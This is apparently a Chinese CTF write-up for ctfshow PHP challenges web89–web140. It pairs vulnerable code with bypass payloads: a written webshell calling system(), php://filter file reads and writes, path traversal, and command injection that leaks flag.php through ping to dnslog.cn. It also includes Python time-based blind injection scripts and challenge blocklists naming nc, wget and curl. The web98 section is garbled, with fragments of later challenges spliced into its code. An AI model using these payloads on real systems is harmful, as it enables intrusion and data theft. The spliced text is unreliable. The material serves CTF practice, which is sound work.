关于intval()
web89
Hint
通过数组绕过
web90
| PHP intval() 函数 |
| int intval ( mixed $var [, int $base = 10 ] ) |
| 参数说明: |
| $var:要转换成 integer 的数量值。 |
| $base:转化所使用的进制。 |
| 如果 base 是 0,通过检测 var 的格式来决定使用的进制: |
| 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex); |
| 如果字符串以 "0" 开始,使用 8 进制(octal); |
| 否则,将使用 10 进制 (decimal)。 |
Hint
hint是错误的!
| 因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476 |
web91
| 第二个过滤:/^php$/im |
| 第二个过滤:/^php$/i |
| i是大小写 |
| m是多行匹配 |
Hint:
| 考查:正则表达式是匹配方法 |
| https://blog.csdn.net/qq_46091464/article/details/108278486 |
| 可以通过 %0a 绕过 payload: abc%0aphp |
web92
Hint
| intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 |
| 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以 |
web93
Hint
| 过滤了字母但是我们可以使用其他进制就是计算 |
| 0b?? : 二进制 |
| 0??? : 八进制 |
| 0X?? : 16进制 |
| payload : ?num=010574 |
web94
| strpos() |
| 查找 "php" 在字符串中第一次出现的位置: |
| strpos() 函数查找字符串在另一字符串中第一次出现的位置。 |
| if(!strpos($num, "0")){ |
| die("no no no!"); |
| } |
| 如果$num没有0 就输出no no no |
Hint
| 在93的基础上过滤了开头为0的数字 |
| 这样的话就不能使用进制转换来进行操作 |
| 我们可以使用小数点来进行操作。 |
| 这样通过intval()函数就可以变为int类型的4476 |
| ?num=4476.0 |
web95
Hint
| 可以通过8进制绕过但是前面必须多加一个字节 |
| ?num=+010574或者?num=%2b010574 |
字符串弱类型
web96
| 绝对路径:/var/www/html/flag.php |
| 相对路径:./flag.php |
| |
| 奇奇怪怪的姿势:/var/www/../ |
Hint
| 在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php |
web97
Hint
web98
三元运算符
| include("flag.php"); |
| |
| $_GET?$_GET=&$_POST:'flag'; |
| $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; |
| $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; |
| highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); |
Hint
https://www.php.cn/php-notebook-172859.html
https://www.php.cn/php-weizijiaocheng-383293.html
考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码
| <?php |
| include('flag.php'); |
| if($_GET){ |
| $_GET=&$_POST; |
| }else{ |
| "flag"; |
| } |
| if($_GET['flag']=='flag'){ |
| $_GET=&$_COOKIE; |
| }else{ |
| 'flag'; |
| 所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag |
| 中间的代码没有作用,因为我们不提交 flag 参数 |
| web99 |
| payload: get : ?n=1.php |
| post:content=<?php system($_POST[1]);?> |
| web100 |
| 这道题基本上没有对参数进行过滤,所以直接执行命令 |
| payload: |
| web101 |
| https: |
| 考察使用函数打印对象里面的属性。 |
| 我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag. |
| 我们可以使用Reflectionclass类,打印类的结构 |
| payload: |
| } |
| if($_GET['flag']=='flag'){ |
| $_GET=&$_SERVER; |
| }else{ |
| 'flag'; |
| } |
| if($_GET['HTTP_FLAG']=='flag'){ |
| highlight_file($flag); |
| }else{ |
| highlight_file(__FILE__); |
| } |
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
web99
| $allow = array(); |
| for ($i=36; $i < 0x36d; $i++) { |
| array_push($allow, rand(1,$i)); |
| } |
| if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ |
| file_put_contents($_GET['n'], $_POST['content']); |
| } |
| 如果$_GET中有n,且$_GET['n']中的内容在allow中存在,则会以$_GET['n']为文件名,$_POST['content']为文件内容; |
| array_push() |
| in_array() |
| file_put_contents() |
| file_put_contents(file,data,mode,context) |
| file 要写入数据的文件 |
| data 要写入的数据 |
Hint
| <?php |
| highlight_file(__FILE__); |
| $allow = array(); |
| for ($i=36; $i < 0x36d; $i++) { |
| array_push($allow, rand(1,$i)); |
| } |
| if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ |
| |
| file_put_contents($_GET['n'], $_POST['content']); |
| |
| } |
| ?> |
payload:
| GET :?n=1.php |
| POST:content=<?php system($_POST[1]);?> |
| |
| |
| 继而访问1.php |
web100
| |
| |
| $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
| |
| if($v0){ |
| if(!preg_match("/\;/", $v2)){ |
| if(preg_match("/\;/", $v3)){ |
| eval("$v2('ctfshow')$v3"); |
| } |
| } |
| |
| } |
| 赋值的运算优先级高于逻辑运算优先级 |
| v1必须是数字 |
| v2不能包含分号 |
| v3必要包含分号 |
| 包含函数是包含v2和v3的内容 |
| 先绕过is_numeric()函数,然后在绕过检测方式 |
在ISO-8859-1和UTF-8中,0x2d的编码是-
flag_is_439f43c30x2dcfd00x2d48c20x2daefb0x2d4127a07c1652
ctfshow{439f43c3-cfd0-48c2-aefb-4127a07c1652}
Hint
| ?v1=21&v2=var_dump($ctfshow) |
web101
| $ctfshow = new ctfshow(); |
| $v1=$_GET['v1']; |
| $v2=$_GET['v2']; |
| $v3=$_GET['v3']; |
| $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
| if($v0){ |
| if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ |
| if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ |
| eval("$v2('ctfshow')$v3"); |
| } |
| } |
| |
| } |
| |
| 反射ctfshow类输出,使用默认的tostring方法,反射类:echo new Reflectionclass |
Hint
| ?v1=1&v2=echo new Reflectionclass&v3= |
| |
| 替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位 |
2021-09-09
web102
| $v1 = $_POST['v1']; |
| $v2 = $_GET['v2']; |
| $v3 = $_GET['v3']; |
| $v4 = is_numeric($v2) and is_numeric($v3); |
| if($v4){ |
| $s = substr($v2,2); |
| $str = call_user_func($v1,$s); |
| echo $str; |
| file_put_contents($v3,$str); |
| } |
| else{ |
| die('hacker'); |
| } |
| $v4 = is_numeric($v2) and is_numeric($v3); |
| 上面这句话的优先级是 先等号 再and |
| 所以$v4的值就只需要$v2是数字就可以了 |
| |
| call_user_func() |
| 也就是第一个参数是函数名,第二个参数是函数的参数 |
| $v1传入的值是函数名,$s是作为函数的参数的,$s是$v2从第二个数开始取的值 |
| |
| file_put_contents() |
| 第一个参数是写入数据的文件,第二个参数是要写入文件的数据,第三第四先略过。 |
| $v3作为文件名,$str作为要写入的数据内容 |
Hint
| GET |
| v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php |
| POST |
| v1=hex2bin |
| |
| 115044383959474e6864434171594473 |
| |
| PD89YGNhdCAqYDs |
| |
| <?=`cat *`; |
| $v1 = hex2bin//hex2bin()是将十六进制字符串转为二进制字符串 |
| $v2 = 115044383959474e6864434171594473//echo hex2bin("5044383959474e6864434171594473"); --> PD89YGNhdCAqYDs |
| $v3 = php://filter/write=convert.base64-decode/resource=2.php//通过过滤器写文件 |
web103
| $v1 = $_POST['v1']; |
| $v2 = $_GET['v2']; |
| $v3 = $_GET['v3']; |
| $v4 = is_numeric($v2) and is_numeric($v3); |
| if($v4){ |
| $s = substr($v2,2); |
| $str = call_user_func($v1,$s); |
| echo $str; |
| if(!preg_match("/.*p.*h.*p.*/i",$str)){ |
| file_put_contents($v3,$str); |
| } |
| else{ |
| die('Sorry'); |
| } |
| } |
| else{ |
| die('hacker'); |
| } |
| Hint内容和102相同,这个题目相比于102只是增加了一个对php的一个过滤 |
| 过滤的内容是$str,$str是与v1和v2有关的,所以说在102中,还可以使用有带有php的绕过方式。 |
web104
| if(isset($_POST['v1']) && isset($_GET['v2'])){ |
| $v1 = $_POST['v1']; |
| $v2 = $_GET['v2']; |
| if(sha1($v1)==sha1($v2)){ |
| echo $flag; |
| } |
| } |
| sha1($v1)==sha1($v2) |
| 第一种方式:只需要传值相同即可 |
Hint
| 第三种方式: |
| aaK1STfY |
| 0e76658526655756207688271159624026011393 |
| aaO8zKZF |
| 0e89257456677279068558073954252716165668 |
| 第二种方式:还可以使用数组绕过: |
| POST |
| v1[]=2 |
| GET |
| v2[]=1 |
web105
| $error='你还想要flag嘛?'; |
| $suces='既然你想要那给你吧!'; |
| foreach($_GET as $key => $value){ |
| if($key==='error'){ |
| die("what are you doing?!"); |
| } |
| $$key=$$value; |
| }foreach($_POST as $key => $value){ |
| if($value==='flag'){ |
| die("what are you doing?!"); |
| } |
| $$key=$$value; |
| } |
| if(!($_POST['flag']==$flag)){ |
| die($error); |
| } |
| echo "your are good".$flag."\n"; |
| die($suces); |
Hint
| 考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces |
web106
| sha1($v1)==sha1($v2) && $v1!=$v2 |
同104,只是多增加了一个条件判断。可以使用104Hint内容,也可以使用数组绕过。
web107
| if(isset($_POST['v1'])){ |
| $v1 = $_POST['v1']; |
| $v3 = $_GET['v3']; |
| parse_str($v1,$v2); |
| if($v2['flag']==md5($v3)){ |
| echo $flag; |
| } |
| |
| } |
| parse_str() |
| parse_str($v1,$v2); |
| 方法一: |
| 所以只需要构造一个v1输入的flag=md5($v3)即可 |
| 方法二: |
| v1= |
| v3[]=xx |
| md5($v3) |
| v1是空所以是NULL |
Hint
| GET: ?v3=240610708 POST: v1=flag=0 |
| |
web108-ereg()函数绕过-弱类型
| if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { |
| die('error'); |
| |
| } |
| |
| if(intval(strrev($_GET['c']))==0x36d){ |
| echo $flag; |
| } |
| 关于==和===: |
| ==只比较值是否相等 |
| ===比较类型和值的相等 |
| |
| ereg() |
| ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE |
| |
| strrev() |
Hint
| ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。 |
| 搜索字母的字符是大小写敏感的。 |
| ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 |
| ?c=a%00778 |
web109-Exception 异常处理类
| if(isset($_GET['v1']) && isset($_GET['v2'])){ |
| $v1 = $_GET['v1']; |
| $v2 = $_GET['v2']; |
| |
| if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ |
| eval("echo new $v1($v2());"); |
| } |
| |
| } |
| 关键代码: |
| if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ |
| eval("echo new $v1($v2());"); |
| } |
| 猜测:eval是包含,echo 输出一个新的以v1为函数名,v2为参数的函数内容? |
Hint
| Exception 异常处理类 http://c.biancheng.net/view/6253.html |
| payload: |
| ?v1=Exception&v2=system('cat fl36dg.txt') |
| ?v1=Reflectionclass&v2=system('cat fl36dg.txt') |
web110-php内置类 FilesystemIterator
| if(isset($_GET['v1']) && isset($_GET['v2'])){ |
| $v1 = $_GET['v1']; |
| $v2 = $_GET['v2']; |
| |
| if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ |
| die("error v1"); |
| } |
| if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ |
| die("error v2"); |
| } |
| |
| eval("echo new $v1($v2());"); |
| |
| } |
Hint
| 考察:php内置类 |
| 利用 FilesystemIterator 获取指定目录下的所有文件 |
| http: |
| https: |
| getcwd()函数 获取当前工作目录 返回当前工作目录 |
| payload: ?v1=FilesystemIterator&v2=getcwd |
| |
| 获得文件名后直接访问即可! |
web111-全局变量 GLOBALS
| function getFlag(&$v1,&$v2){ |
| eval("$$v1 = &$$v2;"); |
| var_dump($$v1); |
| } |
| |
| |
| if(isset($_GET['v1']) && isset($_GET['v2'])){ |
| $v1 = $_GET['v1']; |
| $v2 = $_GET['v2']; |
| |
| if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ |
| die("error v1"); |
| } |
| if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ |
| die("error v2"); |
| } |
| |
| if(preg_match('/ctfshow/', $v1)){ |
| getFlag($v1,$v2); |
| } |
| } |
Hint
| 考察:全局变量 |
| 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS |
| 看eval("$$v1 = &$$v2;");会很容易的想到就是变量覆盖,但是不理解=&这个符号是什么意思的,只知道$$=$$是变量覆盖的意思。 |
2021-09-10
web112-伪协议
| function filter($file){ |
| if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ |
| die("hacker!"); |
| }else{ |
| return $file; |
| } |
| } |
| $file=$_GET['file']; |
| if(! is_file($file)){ |
| highlight_file(filter($file)); |
| }else{ |
| echo "hacker!"; |
| } |
Hint
| php://filter/resource=flag.php |
| php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php |
| php://filter/read=convert.quoted-printable-encode/resource=flag.php |
| compress.zlib://flag.php |
web113-溢出
| function filter($file){ |
| if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ |
| die('hacker!'); |
| }else{ |
| return $file; |
| } |
| } |
| $file=$_GET['file']; |
| if(! is_file($file)){ |
| highlight_file(filter($file)); |
| }else{ |
| echo "hacker!"; |
| } |
| 相比112多过滤了filter而已。 |
| 使用上题Hint中的compress.zlib |
Hint
| /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
| |
web114-伪协议
| function filter($file){ |
| if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ |
| die('hacker!'); |
| }else{ |
| return $file; |
| } |
| } |
| $file=$_GET['file']; |
| echo "师傅们居然tql都是非预期 哼!"; |
| if(! is_file($file)){ |
| highlight_file(filter($file)); |
| }else{ |
| echo "hacker!"; |
| } |
Hint
| payload: php://filter/resource=flag.php |
web115-函数绕过 is_numeric()
| function filter($num){ |
| $num=str_replace("0x","1",$num); |
| $num=str_replace("0","1",$num); |
| $num=str_replace(".","1",$num); |
| $num=str_replace("e","1",$num); |
| $num=str_replace("+","1",$num); |
| return $num; |
| } |
| $num=$_GET['num']; |
| if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ |
| if($num=='36'){ |
| echo $flag; |
| }else{ |
| echo "hacker!!"; |
| } |
| }else{ |
| echo "hacker!!!"; |
| } |
| is_numeric() 函数用于检测变量是否为数字或数字字符串。 |
| trim() 函数移除字符串两侧的空白字符或其他预定义字符。 |
| 可以本地测试是否可以绕过if中的判断函数:is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36' |
Hint
| payload:?num=%0c36 |
| %0c==\f |
web123-突破函数
| $a=$_SERVER['argv']; |
| $c=$_POST['fun']; |
| if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ |
| if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ |
| eval("$c".";"); |
| if($fl0g==="flag_give_me"){ |
| echo $flag; |
| } |
| } |
| } |
注意点:
| PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_ |
| 但是有一个特性可以绕过,使变量名出现.之类的 |
| 特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了 |
| 如 CTF[SHOW.COM=>CTF_SHOW.COM |
Hint
| POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag |
| POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me |
web125
| !preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c |
| 在传参中新增了过滤flag|GLOBALS|echo|var_dump|print |
| |
| POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me |
Hint
| GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1]) |
web126
| $a=$_SERVER['argv']; |
| $c=$_POST['fun']; |
| if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ |
| if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ |
| eval("$c".";"); |
| if($fl0g==="flag_give_me"){ |
| echo $flag; |
| } |
| } |
| } |
Hint
| GET:?a=1+fl0g=flag_give_me |
| POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) |
| or |
| GET:?$fl0g=flag_give_me |
| POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) |
web127-$_SERVER['QUERY_STRING'];
| error_reporting(0); |
| include("flag.php"); |
| highlight_file(__FILE__); |
| $ctf_show = md5($flag); |
| $url = $_SERVER['QUERY_STRING']; |
| |
| |
| function waf($url){ |
| if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ |
| return true; |
| }else{ |
| return false; |
| } |
| } |
| |
| if(waf($url)){ |
| die("嗯哼?"); |
| }else{ |
| extract($_GET); |
| } |
| |
| |
| if($ctf_show==='ilove36d'){ |
| echo $flag; |
| } |
| $_SERVER['QUERY_STRING']; |
| |
| extract() 函数从数组中将变量导入到当前的符号表。 |
Hint
| GET:?ctf show=ilove36d |
| 利用空格自动转换为_,绕过waf函数的检测 |
| $_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码的,所以可以使用url编码绕过 |
web128-gettext()
| $f1 = $_GET['f1']; |
| $f2 = $_GET['f2']; |
| |
| if(check($f1)){ |
| var_dump(call_user_func(call_user_func($f1,$f2))); |
| }else{ |
| echo "嗯哼?"; |
| } |
| |
| function check($str){ |
| return !preg_match('/[0-9]|[a-z]/i', $str); |
| } |
对GET传参的f1进行了检查
call_user_func() 第一个参数作为回调函数调用,其余参数是回调函数的参数,所以这里调用了两次
Hint
| https://www.cnblogs.com/lost-1987/articles/3309693.html |
| https://www.php.net/manual/zh/book.gettext.php |
| 小知识点: _()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag |
| payload: ?f1=_&f2=get_defined_vars |
web129
| if(isset($_GET['f'])){ |
| $f = $_GET['f']; |
| if(stripos($f, 'ctfshow')>0){ |
| echo readfile($f); |
| } |
| } |
| stripos() |
| stripos(string,find,start) |
| 查找find字符串在string中第一次出现的位置,start规定开始查找的位置 |
| 要出现传入的内容要出现ctfshow,还要读取已传入参数为名字的文件 |
Hint
| 考察: 目录穿越 |
| stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) |
| payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag |
web130
| include("flag.php"); |
| if(isset($_POST['f'])){ |
| $f = $_POST['f']; |
| |
| if(preg_match('/.+?ctfshow/is', $f)){ |
| die('bye!'); |
| } |
| if(stripos($f, 'ctfshow') === FALSE){ |
| die('bye!!'); |
| } |
| echo $flag; |
| } |
Hint
| /.+?ctfshow/is |
| 在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次! |
| 而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。 |
| 当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。 |
web131-正则表达式是溢出
| if(isset($_POST['f'])){ |
| $f = (String)$_POST['f']; |
| |
| if(preg_match('/.+?ctfshow/is', $f)){ |
| die('bye!'); |
| } |
| if(stripos($f,'36Dctfshow') === FALSE){ |
| die('bye!!'); |
| } |
| |
| echo $flag; |
| |
| } |
Hint
| 考察: 正则表达式是溢出 |
| https: |
| 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false |
| |
| <?php |
| echo str_repeat('very', '250000').'36Dctfshow'; |
| |
| |
| 用Hint的方式不能行,但是用python脚本可以 |
| import requests |
| |
| url='http://b4ac7d63-0a90-44f0-ab11-3ec1ed574ae8.challenge.ctf.show:8080/' |
| data={ |
| 'f':'a'*1000000+'36Dctfshow' |
| } |
| r=requests.post(url=url,data=data).text |
| print(r) |
web132-&& || 运算符理解应用
| 打开是一个网站页面,有点无从下手,还是需要练习一下信息收集啊。 |
| if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ |
| $username = (String)$_GET['username']; |
| $password = (String)$_GET['password']; |
| $code = (String)$_GET['code']; |
| |
| if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ |
| if($code == 'admin'){ |
| echo $flag; |
| } |
| } |
| } |
Hint
| 考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 |
| https://www.cnblogs.com/hurry-up/p/10220082.html |
| 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin |
| |
| if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin") |
| 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin" |
web133-dns带外查询
| |
| if($F = @$_GET['F']){ |
| if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ |
| eval(substr($F,0,6)); |
| }else{ |
| die("6个字母都还不够呀?!"); |
| } |
| } |
Hint
| https://blog.csdn.net/qq_46091464/article/details/109095382 |
| 用burp suite进行curl回显的方式还没有学会~ |
| 使用到了dnslog.cn |
| |
| ?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"/"-"`.vfmxcx.dnslog.cn -c 1 |
web134
| $key1 = 0; |
| $key2 = 0; |
| if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { |
| die("nonononono"); |
| } |
| @parse_str($_SERVER['QUERY_STRING']); |
| extract($_POST); |
| if($key1 == '36d' && $key2 == '36d') { |
| die(file_get_contents('flag.php')); |
| } |
Hint
| 考察: php变量覆盖 |
| 利用点是 extract($_POST); 进行解析$_POST数组。 |
| 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 |
| 所以payload: ?_POST[key1]=36d&_POST[key2]=36d |
web135-
| if($F = @$_GET['F']){ |
| if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ |
| eval(substr($F,0,6)); |
| }else{ |
| die("师傅们居然破解了前面的,那就来一个加强版吧"); |
| } |
| } |
Hint
| `$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn |
| |
| |
| ?F=`$F` ;ping `awk '/flag/' flag.php`.0narep.dnslog.cn |
| 使用dns外带查询的方法发现均未成功,最后用了其他方法:(133因为没有写权限,所有不能用这种方法) |
| ?F=`$F` ;cp flag.php 2.txt; |
| ?F=`$F` ;uniq flag.php>4.txt; |
web136
| <?php |
| error_reporting(0); |
| function check($x){ |
| if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ |
| die('too young too simple sometimes naive!'); |
| } |
| } |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| check($c); |
| exec($c); |
| } |
| else{ |
| highlight_file(__FILE__); |
| } |
| ?> |
Hint
| payload: ls /|tee 1 访问1下载发现根目录下有flag |
| payload: cat /f149_15_h3r3|tee 2 访问下载就OK |
| |
| 新姿势 ls /|tree 1 可以把查询道的内容直接写入文件1中,然后直接访问下载文件1就可以看到ls根目录下的内容 |
web137-call_user_func()函数的使用
| class ctfshow |
| { |
| function __wakeup(){ |
| die("private class"); |
| } |
| static function getFlag(){ |
| echo file_get_contents("flag.php"); |
| } |
| } |
| |
| call_user_func($_POST['ctfshow']); |
Hint
| 考察: call_user_func()函数的使用 |
| https://www.php.net/manual/zh/function.call-user-func.php |
| payload: POST: ctfshow=ctfshow::getFlag |
web138-call_user_func 过滤了:
| class ctfshow |
| : |
| function __wakeup(){ |
| die("private class"); |
| } |
| static function getFlag(){ |
| echo file_get_contents("flag.php"); |
| } |
| } |
| |
| if(strripos($_POST['ctfshow'], ":")>-1){ |
| die("private function"); |
| } |
| |
| call_user_func($_POST['ctfshow']); |
| |
| strripos() |
Hint
| payload: |
| POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag |
| 它是以数组的形式传入其中,在读取的时候的第一次是读取了类名,第二次是静态函数名 |
web139
| <?php |
| error_reporting(0); |
| function check($x){ |
| if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ |
| die('too young too simple sometimes naive!'); |
| } |
| } |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| check($c); |
| exec($c); |
| } |
| else{ |
| highlight_file(__FILE__); |
| } |
| ?> |
Hint
| import requests |
| import time |
| import string |
| str=string.ascii_letters+string.digits |
| result="" |
| for i in range(1,5): |
| key=0 |
| for j in range(1,15): |
| if key==1: |
| break |
| for n in str: |
| payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then |
| sleep 3;fi".format(i,j,n) |
| |
| url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show? |
| c="+payload |
| try: |
| requests.get(url,timeout=(2.5,2.5)) |
| except: |
| result=result+n |
| print(result) |
| break |
| if n=='9': |
| key=1 |
| result+=" " |
| import requests |
| import time |
| import string |
| str=string.digits+string.ascii_lowercase+"-" |
| result="" |
| key=0 |
| for j in range(1,45): |
| print(j) |
| if key==1: |
| break |
| for n in str: |
| payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep |
| 3;fi".format(j,n) |
| |
| url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show? |
| c="+payload |
| try: |
| requests.get(url,timeout=(2.5,2.5)) |
| except: |
| result=result+n |
| print(result) |
| break |
| import requests |
| import string |
| |
| dic = string.digits+string.ascii_letters+"_" |
| ans = "" |
| |
| for i in range(1,15): |
| is_find = 0 |
| for j in range(1,15): |
| if is_find == 1: |
| break |
| for n in dic: |
| payload = "if [ `ls /|awk 'NR=={}'|cut -c {}` == {} ];then sleep 3;fi".format(str(i),str(j),n) |
| |
| try: |
| res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5) |
| except: |
| ans += n |
| print(ans) |
| break |
| ans += " " |
| import requests |
| import string |
| |
| dic = string.digits+string.ascii_letters+"_" |
| ans = "" |
| |
| for j in range(1,50): |
| for n in dic: |
| payload = "if [ `cat /f149_15_h3r3 |cut -c {}` == {} ];then sleep 3;fi".format(str(j),n) |
| |
| try: |
| res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5) |
| except: |
| ans += n |
| print(ans) |
| break |
web140-函数的利用-返回0
| if(isset($_POST['f1']) && isset($_POST['f2'])){ |
| $f1 = (String)$_POST['f1']; |
| $f2 = (String)$_POST['f2']; |
| if(preg_match('/^[a-z0-9]+$/', $f1)){ |
| if(preg_match('/^[a-z0-9]+$/', $f2)){ |
| $code = eval("return $f1($f2());"); |
| if(intval($code) == 'ctfshow'){ |
| echo file_get_contents("flag.php"); |
| } |
| } |
| } |
| } |
| f1 和 f2 只能是数字和字母组成的内容,返回f1作为函数名,f2的函数返回作为f1的函数参数,eval这个返回,同时对这个返回执行intval函数,等于ctfshow才会输出flag |
| 别人的wp说只要intval($code)=0就可以了 |
Hint
| 考察: 函数的利用 payload: f1=usleep&f2=usleep |
